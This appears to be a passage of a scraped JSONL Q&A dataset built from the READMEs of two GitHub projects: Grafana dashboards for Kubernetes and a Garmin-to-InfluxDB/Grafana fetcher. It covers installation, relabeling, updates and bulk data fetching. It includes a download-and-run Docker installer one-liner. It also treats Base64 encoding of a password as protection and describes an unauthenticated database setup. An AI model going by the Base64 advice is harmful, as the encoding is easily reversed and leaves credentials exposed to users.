''\n      k8s-views-namespaces:\n        url: https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-namespaces.json\n        token: ''\n      k8s-views-nodes:\n        url: https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-nodes.json\n        token: ''\n      k8s-views-pods:\n        url: https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-pods.json\n        token: ''\n```", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593264"}
{"id": "gh_42fed8b624b5", "question": "How to: Install as ConfigMaps", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "Grafana dashboards can be provisioned as Kubernetes ConfigMaps if you configure the [dashboard sidecar](https://github.com/grafana/helm-charts/blob/main/charts/grafana/values.yaml#L667) available on the official [Grafana Helm Chart](https://github.com/grafana/helm-charts/tree/main/charts/grafana).\n\nTo build the ConfigMaps and output them on STDOUT :\n\n```terminal\nkubectl kustomize .\n```\n\n*Note: no namespace is set by default, you can change that in the `kustomization.yaml` file.*\n\nTo build and deploy them directly on your Kubernetes cluster :\n\n```terminal\nkubectl apply -k . -n monitoring\n```\n\nYou will also need to enable and configure the Grafana `dashboards sidecar` as described in [Installation](#installation).\n\n*Note: you can change the namespace if needed.*", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593271"}
{"id": "gh_b2cf50446bf5", "question": "How to: Install as ConfigMaps with Terraform", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "If you use Terraform to provision your Kubernetes resources, you can convert the generated ConfigMaps to Terraform code using [tfk8s](https://github.com/jrhouston/tfk8s).\n\nTo build and convert ConfigMaps to Terraform code :\n\n```terminal\nkubectl kustomize . | tfk8s\n```\n\nYou will also need to enable and configure the Grafana `dashboards sidecar` as described in [Installation](#installation).\n\n*Note: no namespace is set by default, you can change that in the `kustomization.yaml` file.*", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593277"}
{"id": "gh_0569c9032444", "question": "How to: Install as GrafanaDashboard with Grafana Operator", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "If you use Grafana Operator to provision your Grafana dashboards, you can use the following manifests:\n\nMake sure to use your proper namespace.\n\n```yaml\napiVersion: grafana.integreatly.org/v1beta1\nkind: GrafanaDashboard\nmetadata:\n  name: k8s-system-api-server\n  namespace: monitoring\nspec:\n  instanceSelector:\n    matchLabels:\n      dashboards: \"grafana\"\n  url: \"https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-system-api-server.json\"\n---\napiVersion: grafana.integreatly.org/v1beta1\nkind: GrafanaDashboard\nmetadata:\n  name: k8s-system-coredns\n  namespace: monitoring\nspec:\n  instanceSelector:\n    matchLabels:\n      dashboards: \"grafana\"\n  url: \"https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-system-coredns.json\"\n---\napiVersion: grafana.integreatly.org/v1beta1\nkind: GrafanaDashboard\nmetadata:\n  name: k8s-views-global\n  namespace: monitoring\nspec:\n  instanceSelector:\n    matchLabels:\n      dashboards: \"grafana\"\n  url: \"https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-global.json\"\n---\napiVersion: grafana.integreatly.org/v1beta1\nkind: GrafanaDashboard\nmetadata:\n  name: k8s-views-namespaces\n  namespace: monitoring\nspec:\n  instanceSelector:\n    matchLabels:\n      dashboards: \"grafana\"\n  url: \"https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-namespaces.json\"\n---\napiVersion: grafana.integreatly.org/v1beta1\nkind: GrafanaDashboard\nmetadata:\n  name: k8s-views-nodes\n  namespace: monitoring\nspec:\n  instanceSelector:\n    matchLabels:\n      dashboards: \"grafana\"\n  url: \"https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-nodes.json\"\n---\napiVersion: grafana.integreatly.org/v1beta1\nkind: GrafanaDashboard\nmetadata:\n  name: k8s-views-pods\n  namespace: monitoring\nspec:\n  instanceSelector:\n    matchLabels:\n      dashboards: \"grafana\"\n  url: \"https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/master/dashboards/k8s-views-pods.json\"\n```", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593288"}
{"id": "gh_fb5858663fb3", "question": "How to: Broken panels due to a too-high resolution", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "A user reported in [#50](https://github.com/dotdc/grafana-dashboards-kubernetes/issues/50) that some panels were broken because the default value of the `$resolution` variable was too low. The root cause hasn't been identified precisely, but he was using Grafana Agent & Grafana Mimir. Changing the `$resolution` variable to a higher value (a lower resolution) will likely solve the issue.\nTo make the fix permanent, you can configure the `Scrape interval` in your Grafana Datasource to a working value for your setup.", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593296"}
{"id": "gh_333acc4ec8c6", "question": "How to: Broken panels on k8s-views-nodes when a node changes its IP address", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "To make this dashboard more convenient, there's a small variable hack to display `node` instead of `instance`.\nBecause of that, some panels could lack data when a node changes its IP address as reported in [#102](https://github.com/dotdc/grafana-dashboards-kubernetes/issues/102).\n\nNo easy fix for this scenario yet, but it should be a corner case for most people.\nFeel free to reopen the issue if you have ideas to fix this.", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593303"}
{"id": "gh_4ff99e747c3f", "question": "How to: Broken panels on k8s-views-nodes due to the nodename label", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "The `k8s-views-nodes` dashboard will have many broken panels if the `node` label from `kube_node_info` doesn't match the `nodename` label from `node_uname_info`.\n\nThis situation can happen on certain deployments of the node exporter running inside Kubernetes(e.g. via a `DaemonSet`), where `nodename` takes a different value than the node name as understood by the Kubernetes API.\n\nBelow are some ways to relabel the metric to force the `nodename` label to the appropriate value, depending on the way the collection agent is deployed:\n\n#### Directly through the Prometheus configuration file\nAssuming the node exporter job is defined through `kubernetes_sd_config`, you can take advantage of the internal discovery labels and fix this by adding the following relabeling rule to the job:\n\n```yaml", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593310"}
{"id": "gh_daa68e3cb2ea", "question": "How to: File: prometheus.yaml", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "scrape_configs:\n- job_name: node-exporter\n  relabel_configs:\n  # Add this\n  - action: replace\n    source_labels: [ __meta_kubernetes_pod_node_name]\n    target_label: nodename\n```\n\n#### Through a `ServiceMonitor`\nIf using the Prometheus operator or the Grafana agent in operator mode, the scrape job should instead be configured via a `ServiceMonitor` that will dynamically edit the Prometheus configuration file. In that case, the relabeling has a slightly different syntax:\n\n```yaml", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593316"}
{"id": "gh_5f87e68ed55a", "question": "How to: File: service-monitor.yaml", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "apiVersion: monitoring.coreos.com/v1\nkind: ServiceMonitor\n  endpoints:\n  - port: http-metrics\n    relabelings:\n    # Add this\n    - action: replace\n      sourceLabels: [ __meta_kubernetes_node_name]\n      targetLabel: nodename\n```\n\nAs a convenience, if using the [kube-prometheus-stack helm chart](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack), this added rule can be directly specified in your values.yaml:\n\n```yaml", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 3465, "answer_score": 10, "has_code": true, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593322"}
{"id": "gh_879566aab5ba", "question": "How to: Windows support", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "The dashboards currently don't support Windows. We experimented with Windows support in the `k8s-views-global` dashboard, but it ended up breaking some panels, so it has been removed for now. You can download the [last Windows-compatible version](https://raw.githubusercontent.com/dotdc/grafana-dashboards-kubernetes/refs/tags/v2.10.1/dashboards/k8s-views-global.json) of the dashboard or download [revision 43 on Grafana.com](https://grafana.com/api/dashboards/15757/revisions/43/download).\n\nSee [#79](https://github.com/dotdc/grafana-dashboards-kubernetes/issues/79)", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593339"}
{"id": "gh_979344a3a8f9", "question": "How to: Contributing", "question_body": "About dotdc/grafana-dashboards-kubernetes", "answer": "Feel free to contribute to this project:\n\n- Give a GitHub ⭐ if you like it\n- Create an [Issue](https://github.com/dotdc/grafana-dashboards-kubernetes/issues) to make a feature request, report a bug or share an idea.\n- Create a [Pull Request](https://github.com/dotdc/grafana-dashboards-kubernetes/pulls) if you want to share code or anything useful to this project.", "tags": ["dotdc"], "source": "github_gists", "category": "dotdc", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 3465, "answer_score": 10, "has_code": false, "url": "https://github.com/dotdc/grafana-dashboards-kubernetes", "collected_at": "2026-01-17T13:01:07.593347"}
{"id": "gh_33aef1436e9d", "question": "How to: Garmin Grafana", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "A docker container to fetch data from Garmin servers and store the data in a local influxdb database for appealing visualization with Grafana.\n\n> [!TIP]\n> If you are a **Fitbit user**, please check out the [sister project](https://github.com/arpanghosh8453/fitbit-grafana) made for Fitbit", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962353"}
{"id": "gh_e75d006d81be", "question": "How to: Table of contents", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "- [Dashboard Example](#dashboard-example)\n- [Features](#features)\n- [Why use this project?](#why-use-this-project)\n- **Installation**\n  - EASY : [Automated installation](#automatic-install-with-helper-script-recommended-for-less-techy-people) with helper script\n  - ADVANCED : [Manual step by step installation](#manual-install-with-docker-recommended-if-you-understand-linux-concepts) guide\n  - SYNOLOGY : [Installation Guide](https://github.com/arpanghosh8453/garmin-grafana/discussions/107#discussion-8326104)\n  - KUBERNETES : [Helm](./k8s/README.md) chart for Kubernetes. Try with minikube - [Makefile](./k8s/Makefile) for easy deployment.\n- **How to**\n  - How to [pull historic (old) data](#historical-data-fetching-bulk-update) (bulk update)?\n  - How to [update to newer versions](#update-to-new-versions) of this project?\n  - How to [export data as CSV files](#export-data-to-csv-files) for AI insights?\n  - How to [backup the InfluxDB Database?](#backup-influxdb-database)\n  - How to use [multiple accounts](#multi-user-instance-setup)? - if you want to set up a dashboard for your spouse\n  - [Troubleshooting](#troubleshooting) Guide\n  - [Need Help?](#need-help)\n- Project supplement\n  - [Credits](#credits)\n  - [Dependencies](#dependencies)\n  - [Contribution Guideline](#contribution-guideline)\n  - [Limitations](#limitations)\n- [Support this project](#love-this-project)\n- [Star History](#star-history)", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962379"}
{"id": "gh_54a75d744b3d", "question": "How to: Dashboard Example", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "![Dashboard](https://github.com/arpanghosh8453/garmin-grafana/blob/main/Grafana_Dashboard/Garmin-Grafana-Dashboard-Preview.png?raw=true)", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962385"}
{"id": "gh_5b76032bb065", "question": "How to: Why use this project?", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "- **Free and Fully Open Source**: 100% transparent and open project — modify, distribute extend, and self-host as you wish, with no hidden costs. Just credit the author and support this project as you please!\n- **Local Ownership**: Keep a complete, private backup of your Garmin data. The script automatically syncs new data after each Garmin Connect upload — no manual action needed (\"set and forget\").\n- **Full Visualization Freedom**: You're not limited by Garmin’s app. Combine multiple metrics on a single panel, zoom into specific time windows, view raw (non-averaged) data over days or weeks, and build fully custom dashboards.\n- **Deeper Insights - All day metrics**: Explore your data to discover patterns, optimize performance, and track trends over longer periods of time. Export for advanced analysis (Python, Excel, etc.) from Grafana, set custom alerts, or create new personalized metrics. This project fetches _almost_ everything from your Garmin watch - not just limited to Activities analytics like most other online platforms\n- **No 3rd party data sharing**: You avoid sharing your sensitive health related data with any 3rd party service provider while having a great data visualization platform for free!", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962396"}
{"id": "gh_2f87a287e440", "question": "How to: Automatic Install with helper script (Recommended For less techy people)", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "> [!IMPORTANT]\n> This script is for initial setup only. if you already have used it or followed the manual setup to deploy this project, you should not run this again once the garminconnect OAuth tokens are saved (first successful data fetch). Please check the `update to new versions` section for upgrading the container(s).\n\n> [!TIP]\n> If you are getting some errors you can't figure out, give the almighty [ChatGPT](https://chat.openai.com/) a try, it's often known to be helpful troubleshooting issues with this project and script.\n\nThis script requires a linux environment. If Docker is not installed on your Linux/MacOS system, follow the instructions to [install docker manually](https://docs.docker.com/engine/install/) on Linux. There is also an [automated docker installation script](https://github.com/docker/docker-install) available using the one-liner command `curl -fsSL https://get.docker.com -o get-docker.sh && sh get-docker.sh`.\n\nIf you are on `Windows` you should consider using [WSL](https://learn.microsoft.com/en-us/windows/wsl/install) to get a linux sub-system up and running.\n\n#### Detailed steps for Windows users are as follows:\n\n- [Install docker desktop](https://docs.docker.com/get-started/introduction/get-docker-desktop/)\n- Install `WSL` and `Ubuntu` from the Microsoft Store\n- Start -> Run -> type `WSL.exe`, Follow the prompts to create your Linux sudo (admin) user and password. This password will be required for later steps.\n- Open docker desktop and agree to the EULA\n- Reboot your machine (important)\n- Once back up, WSL and Docker should be installed and linked together.\n- Start -> Run -> type `WSL.exe`, then run the below bash command in the terminal window.\n\nFor Linux or MacOS, simply run the following bash command from your linux command line (terminal).\n\n> [!NOTE]\n> If you get the error that `git : command not found` then you need to install `git` with the command `sudo apt install git` for Ubuntu/Debian/WSL(windows) based systems. For Mac, you need to use `brew install git`. If you are on a non-debian linux distribution, please use your OS specific package manager replacing `apt`.\n\nUse the following command to clone this repository to your local machine\n\n```bash\ncd ~ && git clone https://github.com/arpanghosh8453/garmin-grafana.git garmin-grafana\n```\nUse the command next to install it automatically using the easy-install script. If it fails because docker was not installed, retry the command again after installing docker. \n\n```bash\ncd garmin-grafana && sudo bash ./easy-install.sh\n```\n\nEnter the Garmin Connect credentials when prompted and you should be all up and running (you will be prompted for 2FA code as well if you have that set up). Once the data keeps coming, you can check out the `http://localhost:3000` to reach Grafana (by default), do the initial setup with the default username `admin` and password `admin`. Check out the dashboards link on the left sidebar. you should have a dashboard auto-configured as `Garmin-Stats` under the dashboards section. There you should see the data added. It will **keep updating automatically** as soon as new data syncs with your Garmin Connect account.\n\n> [!NOTE]\n> When you run this for the first time, it will only automatically fetch the data for **last 7 days** only and keep pulling new data that syncs with Garmin Connect moving forward. if you want to sync your older data, that is super easy to do. You just need to run the following command in the terminal (`WSL` for windows) replacing the YYYY-MM-DD with appropriate start and end dates (MANUAL_START_DATE value must be older than MANUAL_END_DATE value)\n>\n> ```bash\n> cd ~/garmin-grafana && docker compose run --rm -e MANUAL_START_DATE=YYYY-MM-DD -e MANUAL_END_DATE=YYYY-MM-DD garmin-fetch-data\n> ```\n\nThat should be everything you need for now! The script will be running in the background as long as your machine is up. After a restart, make sure to open docker desktop if you are on windows (if it does not start automatically) so that the containers get booted up as well. For Linux, everything should restart reliably after a reboot. If you are having issues, make sure the docker daemon is running and check the container status with `docker ps` command", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2560, "answer_score": 10, "has_code": true, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962411"}
{"id": "gh_d78a0c360c27", "question": "How to: Manual Install with Docker (Recommended if you understand linux concepts)", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "> [!IMPORTANT]\n> Install docker if you don't have it already. Docker is supported in all major platforms/OS. Please check the [docker installation guide](https://docs.docker.com/engine/install/). You can install it on Windows via WSL, on Unraid via Docker Compose plugin, on Proxmox via Docker-LXC, and natively on Linux and Mac.\n\n1. Clone this repository with the command `git clone https://github.com/arpanghosh8453/garmin-grafana.git`. Change your working directory with `cd garmin-grafana`. Then create a folder named `garminconnect-tokens` inside the current folder (`garmin-grafana`) with the command `mkdir garminconnect-tokens`. Run `chown -R 1000:1000 garminconnect-tokens` to change the ownership of the garminconnect-tokens folder (so the `garmin-fetch-data` container's internal user can use it to store the Authentication tokens). You can also run `chmod -R 777 garminconnect-tokens` to make the folder generally available for every user on the system if you keep getting `PermissionError` during script execution. Cloning this repository allows you to maintain the folder and file structure, and allows you to use Grafana self-provisioning database.\n2. Create an empty `compose.yml` file inside the current `garmin-grafana` folder with the content of the given [compose-example.yml](./compose-example.yml) or simply rename the present `compose-example.yml` file to `compose.yml` with `mv compose-example.yml compose.yml` ( Change the environment variables inside according to instructions )\n\n> [!TIP]\n> The Docker image is also available as `ghcr.io/arpanghosh8453/garmin-fetch-data:latest` alongside `thisisarpanghosh/garmin-fetch-data:latest`.\n\n3. You can use two additional environment variables `GARMINCONNECT_EMAIL` and `GARMINCONNECT_BASE64_PASSWORD` to add the login information directly. otherwise you will need to enter them in the initial setup phase when prompted. If you are not using these environment variables to pass your garmin Connect login informations, you must remove them altogether (remove the full lines including the variable names or comment out with a `#` in front of the variable names - as done in the example be default) from the compose file - leaving them to placeholder values or empty values might lead to invalid login attempt and possibily `401 Client Error`. Please note that here the password must be encoded with [Base64](http://base64encode.org/) when using the `GARMINCONNECT_BASE64_PASSWORD` ENV variable. This is to ensure your Garmin Connect password is not in plaintext in the compose file. The script will decode it and use it when required. If you set these two ENV variables and do not have two factor authentication (via SMS or email), you can directly jump to `step 5`. If you are in mainland China and use Garmin-cn account you need to set `GARMINCONNECT_IS_CN=True`. You can also select what data you want to fetch with the `FETCH_SELECTION` variable in the compose file.\n\n> [!NOTE]\n> If you are planning to use Influxdb V3, you need to enter the admin access token in `INFLUXDB_V3_ACCESS_TOKEN`. To generate the admin token you should run `docker exec influxdb influxdb3 create token --admin` command. This will give you the admin token which you must update to `INFLUXDB_V3_ACCESS_TOKEN` ENV variable. You can do this only once and the token can't be viewed or retrieved ever again (influxdb only stores a hash of it in the database for comparison). So please store this token carefully.\n\n4. If you did not set up the email and password ENV variables or have 2FA enabled, you must run the following command first to get the Email, password and 2FA code prompt interactively: `docker pull thisisarpanghosh/garmin-fetch-data:latest && docker compose run --rm garmin-fetch-data`. Enter the Email, Password (the characters will be visible when you type to avoid confusion, so find some privacy. If you paste the password, make sure there is no trailing space or unwanted characters), and 2FA code (if you have that enabled). Once you see the successful authentication message, you are good to go. The script will exit on it's own prompting you to restart the script (follow next step). This will automatically remove this orphan container as this was started with the `--rm` flag. You need to login like this **only once**. The script will [save the session Authentication tokens](https://github.com/cyberjunky/python-garminconnect/issues/213#issuecomment-2213292471) in the container's internal `/home/appuser/.garminconnect` folder for future use. That token can be used for all the future requests as long as it's valid (expected session token lifetime is about [one year](https://github.com/cyberjunky/python-garminconnect/issues/213), as Garmin seems to use long term valid access tokens instead of short term valid {access token + refresh token} pairs). This helps in reusing the authentication without logging in every time when the container starts, as that leads to `429 Client Error`, when login is attempted repeatedly from t", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2560, "answer_score": 10, "has_code": true, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962430"}
{"id": "gh_e0dd8f70ef6b", "question": "How to: Additional configuration and environment variables", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "✅ The Above compose file creates an open read/write access influxdb database with no authentication. Unless you expose this database to the open internet directly, this poses no threat. If you share your local network, you may enable authentication and grant appropriate read/write access to the influxdb_user on the GarminStats database manually if you want with `INFLUXDB_ADMIN_ENABLED`, `INFLUXDB_ADMIN_USER`, and `INFLUXDB_ADMIN_PASSWORD` ENV variables during the setup by following the [influxdb guide](https://github.com/docker-library/docs/blob/master/influxdb/README.md) but this won't be covered here for the sake of simplicity.\n\n✅ You can also enable additional advanced training data fetching (such as Hill Score, Training Readiness, Endurance Score Blood Pressure, Hydration etc.) with `FETCH_SELECTION` ENV variable in the compose file. Check [Discussion #119](https://github.com/arpanghosh8453/garmin-grafana/discussions/119#discussion-8338271) to know what additional options are available. There is no panel showing these additional data on the default grafana dashboard. You must create your own to visualize these on Grafana or [use this one](https://github.com/brunothesatellite/grafana-dashboard) from @brunothesatellite which contains more panels. \n\n✅ By default, the pulled FIT files are not stored as files to save storage space during import (an in-memory IO buffer is used instead). If you want to keep the FIT files downloaded during the import for future use in `Strava` or any other application where FIT files are supported for import, you can turn on `KEEP_FIT_FILES=True` under `garmin-fetch-data` environment variables in the compose file. To access the files from the host machine, you should create a folder named `fit_filestore` with `mkdir fit_filestore` inside the `garmin-fetch-data` folder (where your compose file is currently located) and change the ownership with `chown 1000:1000 fit_filestore`, and then must setup a volume bind mount like this `./fit_filestore:/home/appuser/fit_filestore` under the volumes section of `garmin-fetch-data`. This would map the container's internal `/home/appuser/fit_filestore` folder to the `fit_filestore` folder you created. You will see the FIT files for your activities appear inside this `fit_filestore` folder once the script starts running.\n\n✅ By default indoor activities FIT files lacking GPS data are not processed (Activity summaries are processed for all activities, just not the detailed intra-activity HR, Pace etc. which are included only inside the FIT files and require additional processing power) to save resources and processing time per fetched activity. If you want to process all activities regardless of GPS data availability associated with the activity, you can set `ALWAYS_PROCESS_FIT_FILES=True` in the environment variables section of the `garmin-fetch-data` container as that will ensure all FIT files are processed irrespective of GPS data availability with the activities.\n\n✅ If you are having missing data on previous days till midnight (which are available on Garmin Connect but missing on dashboard) or sync issues when using the automatic periodic fetching, consider updating the container to recent version and use `USER_TIMEZONE` environment variable under the `garmin-fetch-data` service. The value must be a valid tz identifier like `Europe/Budapest`. This variable is optional and the script tries to determine the timezone and fetch the UTC offset automatically if this variable is set as empty. If you see the automatic identification is not working for you, this variable can be used to override that behaviour and ensures the script is using the hardcoded timezone for all data fetching related activities. The previous gaps won't be filled (you need to fetch them using historic bulk update method), but moving forward, the script will keep everything in sync.\n\n✅ Want this dashboard in **Imperial units** instead of **metric units**? I can't maintain two separate dashboards at the same time but here is an [excellent step-by-step guide](https://github.com/arpanghosh8453/garmin-grafana/issues/27#issuecomment-2817081738) on how you can do it yourself on your dashboard! Also, If you prefer 24 hours time format instead of 12 hour with AM/PM, you can remove `GF_DATE_FORMATS_*` ENV variables from the `compose.yml` file.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962447"}
{"id": "gh_63b5bf0ff226", "question": "How to: Collecting periodic watch battery levels", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "Unfortunately, Garmin Connect does not sync the device battery level (possibly due to infrequent passive syncing intervals). Hence, it's not possible to get the watch's battery data directly using this setup. However, I have found an alternative, which requires a lot of additional setup (out of the scope for this project - but I will give a brief walkthrough).\n\nYou will need a self-hosted/cloud instance of [homeassistant](https://www.home-assistant.io/) and [GarminHomeAssistant (Watch Application) from Connect IQ](https://apps.garmin.com/en-US/apps/61c91d28-ec5e-438d-9f83-39e9f45b199d). Detailed installation instructions are [available here](https://github.com/house-of-abbey/GarminHomeAssistant). This application is Free and open source as well just like this project, and the maintainer is very supportive!\n\nAfter you install it, you need to enable the battery level and other stats collection (background running) in the application settings on Connect IQ. You will see the battery level history on HomeAssistant entities panel (appearing as `sensor.garmin_device_battery_level`) thereafter. If you want to integrate this data to the InfluxDB database and Grafana dashboard you have with this project, you need to add an additional InfluxDB addon configuration in the `configuration.yaml` file of HomeAssistant installation like following.\n\n```yaml\ninfluxdb:\n  host: influxdb\n  port: 8086\n  database: GarminStats\n  username: influxdb_user\n  password: influxdb_secret_password\n  ssl: false\n  verify_ssl: false\n  max_retries: 3\n  include:\n    entities:\n       - sensor.garmin_device_battery_level\n  tags:\n    source: hass\n```\n\nThere is a Grafana panel in the dashboard (given with this project) which displays this data when available. If you do not have this setup, you should remove that panel from the dashboard, as battery data collection is not possible from the watch otherwise.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2560, "answer_score": 10, "has_code": true, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962455"}
{"id": "gh_304d0c0d2c19", "question": "How to: Multi user instance setup", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "If this is working well for you, maybe you want to set this up for your family/spouse. For that, you should not duplicate the full compose stack (you can, but then you will have two instances or Grafana and Influxdb containers running on the same host machine, which is not a smart idea). You should be able to do this by following [this guide](https://github.com/arpanghosh8453/garmin-grafana/issues/96#issuecomment-2868627808). There is no automatic setup script for this - you need to have a little understanding of docker and follow the given instructions.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962462"}
{"id": "gh_4c5f5d8bfa5c", "question": "How to: Update to new versions", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "Updating with docker is super simple. Just go to the folder where the `compose.yml` is and run `docker compose pull` and then `docker compose down && docker compose up -d`. Please verify if everything is running correctly by checking the logs with `docker compose logs --follow`\n\n> [!CAUTION]\n> If you run `docker compose down -v`, that (using the `-v` flag) will purge the persistent docker volumes for the influxdb (if you are using docker volumes - default setup) which will wipe out all the data and databases stored in the influxdb container. Please be careful about this action but it can be useful if you want to start fresh wiping out the old database and container. This action cannot be undone.", "tags": ["arpanghosh8453"], "source": "github_gists", "category": "arpanghosh8453", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 2560, "answer_score": 10, "has_code": false, "url": "https://github.com/arpanghosh8453/garmin-grafana", "collected_at": "2026-01-17T13:01:10.962468"}
{"id": "gh_00477bed4133", "question": "How to: Historical data fetching (bulk update)", "question_body": "About arpanghosh8453/garmin-grafana", "answer": "> [!TIP]\n> Please note that this process is intentionally rate limited with a 5 second wait period between each day update to ensure the Garmin servers are not overloaded with requests when using bulk update. You can update the value with `RATE_LIMIT_CALLS_SECONDS` ENV variable in the `garmin-fetch-data` container, but lowering it is not recommended,\n\n> [!NOTE]\n> Please note that this process, if repeated multiple times, **DOES NOT create any duplicate data** in the database if used with InfluxDB. InfluxDB being a time series database, uses timestamp and tags combined to create a hash that is used as primary key. So writing the same values with same timestamp and tags effectively overwrites the previous field values.\n\n#### Procedure\n\n1. Please run the above docker based installation steps `1` to `4` first (to set up the Garmin Connect login session tokens if not done already).\n2. Stop the running container and remove it with `docker compose down` if running already\n3. Run command `docker compose run --rm -e MANUAL_START_DATE=YYYY-MM-DD -e MANUAL_END_DATE=YYYY-MM-DD garmin-fetch-data` to update the data between the two dates. You need to replace the `YYYY-MM-DD` with the actual dates in that format, for example `docker compose run --rm -e MANUAL_START_DATE=2025-04-12 -e MANUAL_END_DATE=2025-04-14 garmin-fetch-data`. The `MANUAL_END_DATE` variable is optional, if not provided, the script assumes it to be the current date. 